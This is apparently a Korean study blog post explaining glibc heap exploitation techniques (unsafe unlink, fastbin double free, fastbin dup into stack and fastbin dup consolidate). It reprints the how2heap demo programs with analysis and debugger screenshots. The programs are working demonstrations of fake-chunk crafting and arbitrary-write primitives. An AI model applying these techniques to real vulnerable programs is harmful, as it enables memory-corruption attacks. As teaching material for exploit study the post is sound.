Reference

https://github.com/shellphish/how2heap

https://dreamhack.io/learn/2/16#44

http://lazenca.net/pages/viewpage.action?pageId=1148137

https://koharinn.tistory.com/142

https://code1018.tistory.com/195?category=981925

https://rninche01.tistory.com/entry/heap-exploit-Unsafe-Unlink

https://wogh8732.tistory.com/195

https://midascopp.tistory.com/66

Unsafe_unlink

Unsafe_unlink는 헤더 값이 조작된 Fake chunk와 다른 인접한 chunk를 병합시킴으로써 비정상적으로 unlink매크로를 호출시켜 발생하는 취약점이다.

사용조건

  • 전역변수에서 힙 포인터를 관리
  • 두개의 Allocated Chunk가 필요하며 Fake Chunk를 생성할 수 있어야 한다.
  • Fake chunk와 인접한 chunk의 헤더(prev_size, size(prev_inuse bit)를 조작할 수 있어야 한다.

unlink 매크로

// malloc.c line 1414
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                          \
            if (FD->fd_nextsize == NULL) {                      \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;              \
                else {                                  \
                    FD->fd_nextsize = P->fd_nextsize;                  \
                    FD->bk_nextsize = P->bk_nextsize;                  \
                    P->fd_nextsize->bk_nextsize = FD;                  \
                    P->bk_nextsize->fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
              }                                      \
          }                                      \
      }                                          \
}

malloc.c 에 정의된 unlink 소스코드

검증

  • prev_inuse bit 검증

      // malloc.c line 1270
      /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
      #define PREV_INUSE 0x1
    
      /* extract inuse bit of previous chunk */
      #define prev_inuse(p)       ((p)->size & PREV_INUSE)
    
      // malloc.c line 4173
      if (!prev_inuse(p)) {
              prevsize = p->prev_size;
              size += prevsize;
              p = chunk_at_offset(p, -((long) prevsize));
              unlink(av, p, bck, fwd);
            }
    • prev_inuse bit가 0인지 확인하는 코드이다.
  • Valid Chunk Pointer

          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    • FD→bk = P

    • BK→fd = P

    • 위 값이 맞는지 확인한다.

    • 확인하는 이유는 아래와 같다.

      https://user-images.githubusercontent.com/40850499/106772835-bea27980-6683-11eb-9596-e5a57b4cb4a3.png
    • 정상적인 free된 힙 청크들 사이에 링크 관계이다.

    • 따라서 정상적인 freed chunk라면 FD→bk = P, BK→fd = P를 나타내게 된다.

Unsafe_unlink attack

힙 익스에서는 가장 중요한것이 fake chunk의 구성이다. 이번 Unsafe_unlink에서도 위 2가지 검증을 우회하기 위해 fake chunk를 구성한다.

https://user-images.githubusercontent.com/40850499/106786018-6b372800-6691-11eb-954a-db54343f488e.png

  • Allocated chunk 2개를 할당해준다.

https://user-images.githubusercontent.com/40850499/106797617-32eb1600-66a0-11eb-8911-43f7a0a082fb.png

  • 검증을 우회하기 위한 fake chunk를 구성해준다.
  • fake chunk 구성은 아래와 같다.
    • prev_size = 0x00
    • size = 0x00
    • FD = [전역변수 힙 포인터 주소] - 0x18
    • BK = [전역변수 힙 포인터 주소] - 0x10
    • 인접한 다음 청크의 prev size = fake chunk size
    • 인접한 다음 청크의 size = size &= ~1 (and 연산으로 prev_inuse bit 0으로 활성화)

https://user-images.githubusercontent.com/40850499/106797869-86f5fa80-66a0-11eb-8743-e068454372a6.png

  • free(ptr2)
  • ptr2 청크의 prev_inuse bit를 0으로 변환했기 때문에 병합을 진행하기 위해 unlink 매크로 호출
  • 이 때 병합하기 위한 인접 청크의 위치를 알기 위해 prev_size를 사용
  • ptr2 청크의 시작 주소 - prev_size 값으로 병합할 청크를 구함
  • prev_size는 fake chunk의 크기이므로 fake chunk와 병합

https://user-images.githubusercontent.com/40850499/106797998-b73d9900-66a0-11eb-95cc-e4d4818e6c20.png

  • 검증 우회

          FD = P->fd;                                      \
          BK = P->bk;                                      \
    
          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • FD→bk 가 P를 가리켜야 하는데 전역변수로 할당된 [힙 포인터 주소 - 24]를 하면 전역변수를 힙 구조로 보게되고 힙 구조로 보았을 때 bk가 자기 자신의 포인터이기 때문에 FD→bk(P→fd→bk) == P가 성립하게 된다.

https://user-images.githubusercontent.com/40850499/106798712-b5280a00-66a1-11eb-96d2-e370283d7e80.png

  • 검증 우회

          FD = P->fd;                                      \
          BK = P->bk;                                      \
    
          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • 마찬가지로 P→fd 를 [힙 포인터 주소 - 18]로 해주면 BK→fd == P를 성립시킬 수 있다.

https://user-images.githubusercontent.com/40850499/106828088-da7e3d80-66cc-11eb-833f-0a5ea5d953aa.png

  • 검증을 모두 우회하여 다음 코드가 실행된다.
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
  • 그럼 이제 전역 힙 포인터인 ptr1에 무언가를 쓰게되면 0x601060부터 값을 쓰기 시작한다.
  • 16byte값의 더미를 주면 다시 ptr1의 주소를 변경시킬 수 있다.
  • 이때 ptr1의 주소의 다른 함수의 got 값, 다른 변수의 값을 변형하는 등 다양한 방법을 사용하여 공격할 수 있다.

how2heap unsafe_unlink.c 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}

이 소스코드는 위에서 설명한 unsafe_unlink 기법을 이용하여 전역 힙 포인터인 chunk0_ptr을 이용하여 스택에 있는 값인 victim_string의 값을 변경하는 소스코드이다.

https://user-images.githubusercontent.com/40850499/106828531-c1c25780-66cd-11eb-86b1-d89567010578.png

victim_string에 있던 원래 값은 Hello!~ 였지만 unsafe_unlink 기법을 이용해 BBBBAAAA(0x4242424241414141)로 변경된 것을 확인할 수 있다.

매우재미따

진짜 힙 너무 재밌다..... 물론 이해되었을 때..... 힙을 처음 보면 ㅇ...? 이게 뭐지 하다가 계속 보고있으면 이해되면서 하나하나 깨달을 때마다 신나고 재밌는거 같다.... 힙 짱잼....ㅎㅎㅎㅎㅎㅎ

소스코드

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

분석

  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);

두 개의 fastbin 사이즈의 힙 청크 할당

  fprintf(stderr, "Now free p1!\n");
  free(p1);

free(p1)

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");

largebin 사이즈의 힙 청크 할당

여기서 largebin 사이즈의 힙 청크가 할당되면서 malloc_consolidate() 함수가 호출되고 여기서 fastbin에 들어간 p1이 smallbin에 병합됨

따라서 Double_Free 검증을 하는 구문에서 old, p 값이 서로 달라지게 되어 우회할 수 있게 됨

  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");

더블 프리

  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));

malloc을 두번 할당함으로써 같은 주소를 반환받을 수 있음

실습

https://user-images.githubusercontent.com/48816875/106393315-bf47cf80-6439-11eb-9390-1b454146f077.png

첫번째 free를 한 후 fastbin에 들어간 것을 확인

https://user-images.githubusercontent.com/48816875/106393334-df778e80-6439-11eb-92ef-1fb895ed8ff7.png

largebin사이즈의 힙을 할당함으로써 malloc_consolidate를 호출하여 smallbin으로 병합

https://user-images.githubusercontent.com/48816875/106393365-059d2e80-643a-11eb-8482-2b837bb3264a.png

다시 p1을 free하여 Double_free 발생

https://user-images.githubusercontent.com/48816875/106393395-2e252880-643a-11eb-93a4-fc458fe296ff.png

같은 주소를 할당받은 것을 확인할 수 있다.

fastbin_dup_into_stack.c 소스코드

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

정말 대단하다... 할수록 신기하고 재밌는거 같다.

분석

    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);

이 부분까지는 fastbin_dup과 다른 내용은 없다.

fastbin_dup과 마찬가지로 free_list를 a→b→a로 해주는 과정이다.

unsigned long long *d = malloc(8);

여기서 d포인터를 선언해주고 free된 a Heap chunk를 할당해준다.

fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));

free된 b Heap chunk를 malloc 함수를 호출함으로써 날렸다.

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

이 부분 대박이다.

stack_var는 unsigned longlong으로 선언된 지역변수이다. 따라서 스택에 쌓인다.

그리고 d는 아까 free된 a Heap chunk를 할당받았던 Heap chunk이다. 또한 free_list에 들어가 있는 free된 a Heap chunk이기도 하다.

그런데 여기서 d의 user space에 &stack_var 다음 스택 주소를 입력함으로써 free 된 a Heap chunk의 FD값을 스택 주소로 변경시켜버리게 된다.

https://user-images.githubusercontent.com/48816875/105756584-2542db80-5f90-11eb-8872-786c286153e3.png

allocated chunk

https://user-images.githubusercontent.com/48816875/105756649-3a1f6f00-5f90-11eb-9ef2-cee9e24790ab.png

freed chunk

(free된 경우 user space의 맨 처음 값은 FD값이 됨)

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));

https://user-images.githubusercontent.com/48816875/105758417-92f00700-5f92-11eb-938d-b530c7e7653f.png

그 다음 malloc을 통해 free_list에 있는 a Heap chunk를 꺼내면 FD가 스택을 가리키고 있기 때문에 다음 malloc 호출을 통해 stack영역 메모리를 할당받을 수 있다.

fastbin_dup.c 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    assert(a == c);
}

몰랐던 함수들

우선 제대로 알지 못했던 fprintf, assert 함수에 대해서 알아보고 가자.(heap 공부만 하려는 거면 사실 별로 몰라도 되는 내용이긴 하나 그래도 모르는걸 냄겨두고 넘어가기는 찝찝하여 했다.)

  • fprintf(FILE stream, const char format, ...)
    • 특정한 스트림에 일련의 데이터를 특정한 형식에 맞추어 쓰게 된다.
    • 이 때, 그 형식은 형식 문자열에 지정되어 있으며, 출력할 데이터는 형식 문자열 다음에 오는 인자들에 써주면 된다.
    • 위와 같이 fprintf(stderr, const char* format)으로 된 경우 표준에러출력이기 때문에 버퍼를 거치지 않고 그냥 바로 출력 시킨다고 한다.
      • printf()의 경우 버퍼를 거처 출력하기 때문에 에러가 날 경우 제대로 출력이 안될 수 있다.
      • 따라서 디버깅용도의 출력문이다.
  • assert
    • 디버깅 용도의 함수
    • assert함수를 에러가 날 것이라고 예상되는 곳에 위치시켜두고 에러가 발생하면 개발자에게 버그 발생위치, call stack등 디버깅에 유용한 정보들을 마구 뿌려준다.
    • 위 fastbin_dup에서는 Double_Free가 제대로 발생하여 c Heap chunk 포인터가 a Heap chunk 포인터를 가리키게 되었는지 확인하는 용도로 사용되었다.

분석

fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

이 파일은 fastbin을 이용한 간단한 Double_Free 공격을 보여준다.

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

3개의 버퍼를 할당한다.

https://user-images.githubusercontent.com/48816875/105749532-de041d00-5f86-11eb-818b-b7277f18b9aa.png

각각의 버퍼를 할당받은 것을 출력문을 통해 확인할 수 있다.

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

첫번째 버퍼 힙 free

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

만약 여기서 한번 더 a Heap chunk를 해제하면 크래시가 발생한다. 이유는 free list(bin을 가리키는 듯)최상위가 a Heap chunk이기 때문이다. (이유는 드림핵 카테고리 Double_Free에 올려놔서 생략(근데 비공개잖아...? DreamHack가서 보십셔 여러분)

https://user-images.githubusercontent.com/48816875/105750174-bceffc00-5f87-11eb-8295-60e6276830fd.png

실제로 해당 주석을 풀고 실행하면 크래시가 발생한다.

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

그래서 대신에 우리는 b Heap chunk를 먼저 해제해준다.

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

우리는 이제 a Heap chunk를 다시 해제할 수 있다. 이유는 free list의 최상위가 아니기 때문이다.

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

https://user-images.githubusercontent.com/48816875/105750444-1bb57580-5f88-11eb-91f6-0410667a2549.png

free list를 보면 a Heap chunk가 두번 해제(Double_Free)된 것을 볼 수 있다.

다시 a,b,c를 malloc으로 할당해주면 우리는 a Heap chunk를 두번 할당 받을 수 있다.

그 이유는 할당을 할 때 bin(free list)에서 같은 사이즈 혹은 비슷한 사이즈의 free된 chunk가 있는지 확인을 한 뒤 있다면 해당 리스트를 따라 할당하기 때문이다.

따라서 bin(free list)에 있는 a heap chunk(0xce6010)가 먼저 a에 할당되고 b heap chunk(0xce6030)가 b에 할당, 다시 a heap chunk(0xce6010)이 c에 할당되게 된다.

git clone https://github.com/shellphish/how2heap

cd how2heap && make

 

+ Recent posts